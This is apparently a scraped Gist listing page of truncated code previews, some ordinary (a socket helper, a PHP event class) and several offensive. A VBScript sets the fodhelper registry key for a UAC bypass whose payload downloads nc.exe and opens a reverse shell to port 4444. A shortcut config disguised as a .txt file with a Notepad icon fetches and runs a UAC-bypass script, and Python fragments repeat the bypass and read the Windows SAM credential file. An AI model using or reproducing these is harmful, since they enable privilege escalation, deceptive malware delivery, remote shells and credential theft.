This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { connect } = require('./socket'); | |
async function asyncSocket() { | |
let socket; | |
try { | |
socket = await connect('localhost', 3000, 30); | |
await socket.write('ping'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8; mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*- | |
# vim: fileencoding=utf-8 tabstop=4 expandtab shiftwidth=4 | |
# pylint: disable=C0103,C0301,W1202,W0212 | |
""" | |
Hackaflag Garage Week (Bradesco) | |
Resolução do desafio da pirâmide: | |
HOST: 159.65.181.58 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Const HKEY_CURRENT_USER = &H80000001 | |
Const FodHelperPath = "C:\\Windows\\System32\\fodhelper.exe" | |
Const RegKeyPathStr = "SOFTWARE\\Classes\\ms-settings\\shell\\open\\command" | |
Const RegKeyPath = "Software\\Classes\\ms-settings\\shell\\open\\command" | |
Const DelegateExecRegKeyName = "DelegateExecute" | |
Const DelegateExecRegKeyValue = "" | |
Const DefaultRegKeyName = "" | |
Const DefaultRegKeyValue = "cmd.exe /c powershell.exe -nop -w hidden iwr -outf C:\Windows\System32\nc.exe http://127.0.0.1/nc.exe & C:\Windows\System32\nc.exe 127.0.0.1 4444 -e cmd.exe" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"shortcut": { | |
"target_path": "C:\\Windows\\System32\\cmd.exe", | |
"working_dir": "C:\\Windows\\System32", | |
"arguments": "/c powershell.exe iwr -outf %tmp%\\p.vbs http://127.0.0.1/uac_bypass.vbs & %tmp%\\p.vbs", | |
"icon_path": "C:\\Windows\\System32\\notepad.exe", | |
"icon_index": null, | |
"window_style": "MINIMIZED", | |
"description": "TRUST ME", | |
"fake_extension": ".txt", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
console.log("ok"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Alphanumeric(object): | |
ALPHABET_LENGTH = 26 | |
def __init__(self, nrange=None): | |
self.current_letter = 'z' | |
self.current_number = 0 | |
self.nrange = nrange | |
def forward_letter(self, letter, positions): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import sys | |
import ctypes | |
import _winreg | |
CMD = r"C:\Windows\System32\cmd.exe" | |
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe' | |
PYTHON_CMD = "python" | |
REG_PATH = 'Software\Classes\ms-settings\shell\open\command' | |
DELEGATE_EXEC_REG_KEY = 'DelegateExecute' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import sys | |
import ctypes | |
import _winreg | |
def is_running_as_admin(): | |
''' | |
Checks if the script is running with administrative privileges. | |
Returns True if is running as admin, False otherwise. | |
''' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SAM_FILE = r'C:\Windows\System32\config\sam' | |
with open(SAM_FILE, 'r') as sam: | |
print sam.readlines() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Events { | |
private static $listeners = array(); | |
public static function listen($event, $callback) { | |
self::$listeners[$event][] = $callback; | |
} |
NewerOlder